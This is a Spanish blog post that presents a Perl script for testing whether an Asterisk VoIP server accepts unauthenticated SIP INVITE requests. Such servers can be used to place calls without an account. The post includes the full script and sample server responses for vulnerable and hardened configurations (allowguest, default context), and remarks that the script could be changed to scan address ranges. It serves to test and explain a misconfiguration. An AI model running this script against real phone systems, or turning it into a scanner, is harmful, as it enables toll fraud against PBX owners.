Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack
Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:
#!/usr/bin/perl # -=-=-=-=-=-=-= # SipINVITE v1.0 # -=-=-=-=-=-=-= # # Pepelux <pepelux[at]gmail[dot]com> use warnings; use strict; use IO::Socket; use NetAddr::IP; use Getopt::Long; use Digest::MD5; my $host = ''; # host my $port = ''; # port my $number = ''; # number to call my $lport = "5061"; my $myip = "192.168.2.9"; sub init() { if ($^O =~ /Win/) {system("cls");}else{system("clear");} # check params my $result = GetOptions ("h=s" => \$host, "n=s" => \$number, "p=s" => \$port); help() if ($host eq "" || $number eq ""); $port = "5060" if ($port eq ""); invite($host, $port, $number); exit; } sub invite { my $ip = shift; my $nport = shift; my $user = shift; my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2); $lport = $sc->sockport(); my $branch = &generate_random_string(71, 0); my $callerid = &generate_random_string(32, 1); my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n"; $msg .= "Supported: \n"; $msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n"; $msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n"; $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n"; $msg .= "Call-id: $callerid\n"; $msg .= "Cseq: 1 INVITE\n"; $msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n"; $msg .= "Max-forwards: 70\n"; $msg .= "To: <sip:".$user."@".$ip.">\n"; $msg .= "Content-length: 123\n\n"; $msg .= "v=0\n"; $msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n"; $msg .= "s=session\n"; $msg .= "c=IN IP4 $ip\n"; $msg .= "t=0 0\n"; $msg .= "m=audio 2362 RTP/AVP 0\n\n"; print $sc $msg; print "\nSending:\n=======\n$msg\n\n"; my $data = ""; my $server = ""; my $useragent = ""; my $line = ""; LOOP: { while (<$sc>) { $line = $_; if ($line =~ /[Ss]erver/ && $server eq "") { $line =~ /[Ss]erver\:\s(.+)\r\n/; if ($1) { $server = $1; } } if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") { $line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/; if ($1) { $useragent = $1; } } $data .= $line; if ($line =~ /^\r\n/) { last LOOP; } } } print "\nReceiving:\n=========\n$data\n\n"; } sub generate_random_string { my $length_of_randomstring = shift; my $only_hex = shift; my @chars; if ($only_hex == 0) { @chars = ('a'..'z','0'..'9'); } else { @chars = ('a'..'f','0'..'9'); } my $random_string; foreach (1..$length_of_randomstring) { $random_string.=$chars[rand @chars]; } return $random_string; } sub help { print qq{ Usage: $0 -h <host> [options] == Options == -n <integer> = Number to call -p <integer> = Remote SIP port (default: 5060) == Examples == \$$0 -h 192.168.0.1 -n 100 \$$0 -h 192.168.0.1 -n 666666666 -p 5060 }; exit 1; } init();
El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.
Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx Sending: ======= INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0 Supported: Allow: INVITE, ACK, OPTIONS, CANCEL, BYE Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676> Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5 Cseq: 1 INVITE From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 Max-forwards: 70 To: <sip:657xxxxxx@192.168.2.9> Content-length: 123 Receiving: ========= SIP/2.0 100 Trying Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9 From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 To: <sip:657xxxxxx@192.168.2.9> Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5 CSeq: 1 INVITE Server: Asterisk PBX 1.8.5.0 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH Supported: replaces, timer Contact: <sip:657xxxxxx@192.168.2.9:5060> Content-Length: 0
Como se puede apreciar, la respuesta por parte del servidor es un ‘100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.
En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx Sending: ======= INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0 Supported: Allow: INVITE, ACK, OPTIONS, CANCEL, BYE Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986> Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z Call-id: 5265813dee1ea0f4af3672f83c1694ea Cseq: 1 INVITE From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 Max-forwards: 70 To: <sip:657xxxxxx@192.168.2.9> Content-length: 123 v=0 o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9 s=session c=IN IP4 192.168.2.9 t=0 0 m=audio 2362 RTP/AVP 0 Receiving: ========= SIP/2.0 404 Not Found Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9 From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d Call-ID: 5265813dee1ea0f4af3672f83c1694ea CSeq: 1 INVITE Server: Asterisk PBX 1.8.5.0 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH Supported: replaces, timer Content-Length: 0
Obtendremos un ‘404 Not Found’. Y en el log del Asterisk veremos:
== Using SIP RTP CoS mark 5 [Jan 5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.
Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:
Sending: ======= pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100 Sending: ======= INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0 Supported: Allow: INVITE, ACK, OPTIONS, CANCEL, BYE Contact: 100 <sip:100@192.168.2.9:40486> Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa Call-id: 497cd8864668cd7580dace0dd3f357f2 Cseq: 1 INVITE From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 Max-forwards: 70 To: <sip:100@192.168.2.9> Content-length: 123 v=0 o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9 s=session c=IN IP4 192.168.2.9 t=0 0 m=audio 2362 RTP/AVP 0 Receiving: ========= SIP/2.0 100 Trying Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9 From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 To: <sip:100@192.168.2.9> Call-ID: 497cd8864668cd7580dace0dd3f357f2 CSeq: 1 INVITE Server: Asterisk PBX 1.8.5.0 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH Supported: replaces, timer Contact: <sip:100@192.168.2.9:5060> Content-Length: 0
Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:
Sending: ======= pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100 INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0 Supported: Allow: INVITE, ACK, OPTIONS, CANCEL, BYE Contact: 100 <sip:100@192.168.2.9:46225> Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75 Call-id: cfd8b3380a3532be7ac7650026fd23fb Cseq: 1 INVITE From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 Max-forwards: 70 To: <sip:100@192.168.2.9> Content-length: 123 v=0 o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9 s=session c=IN IP4 192.168.2.9 t=0 0 m=audio 2362 RTP/AVP 0 Receiving: ========= SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9 From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118 To: <sip:100@192.168.2.9>;tag=as58329940 Call-ID: cfd8b3380a3532be7ac7650026fd23fb CSeq: 1 INVITE Server: Asterisk PBX 1.8.5.0 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH Supported: replaces, timer WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87" Content-Length: 0
En este caso recibimos un ‘401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.
3 comentarios